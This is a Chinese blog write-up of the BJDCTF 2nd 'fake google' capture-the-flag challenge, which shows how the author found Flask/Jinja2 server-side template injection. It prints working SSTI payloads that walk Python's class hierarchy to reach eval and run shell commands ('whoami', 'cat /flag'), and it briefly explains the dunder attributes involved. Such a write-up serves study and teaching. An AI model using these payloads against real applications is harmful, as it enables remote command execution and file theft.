【学习笔记2】buu [BJDCTF 2nd]fake google

 
 

点进去一看什么都没有,在搜索栏随便敲了个1上去,搜索一下

 

 
 

查看源码

<!--ssssssti & a little trick --> P3's girlfirend is : 1<br><hr>

这提示简直不要更明显就是SSTI

继续输入{{7*7}},发现给出了49的运算结果,怎么这么像我之前看到的flask模板注入呢。

执行我之前搜集的payload

{{().__class__.__bases__[0].__subclasses__()}} //查看可用模块

{{().__class__.base__.__subclasses__().index(warnings.catch_warnings)}}//本来想用这条命令直接查找危险函数 ,结果不让用只好手动数一数

{{().__class__.__bases__[0].__subclasses__()[169].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}//找到危险函数后构造payload尝试执行命令,发现可以,构造最终答案

{{''.__class__.__mro__[1].__subclasses__()[169].__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()")}}//可以直接查到flag竟然没有过滤

配上相关函数的解释

__class__ 返回类型所属的对象

__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表

__init__ 类的初始化方法

__globals__ 对包含函数全局变量的字典的引用

__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。

__bases__ 返回该对象所继承的基类 __builtins__是做为默认初始模块

关于flask模板注入的详情,可以去看我之前写的博客

https://www.jianshu.com/p/e341b7b7d4f3

后来看到有的wp上说这道题可以tplmap一把梭,但是不知道为什么我没有跑出来。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值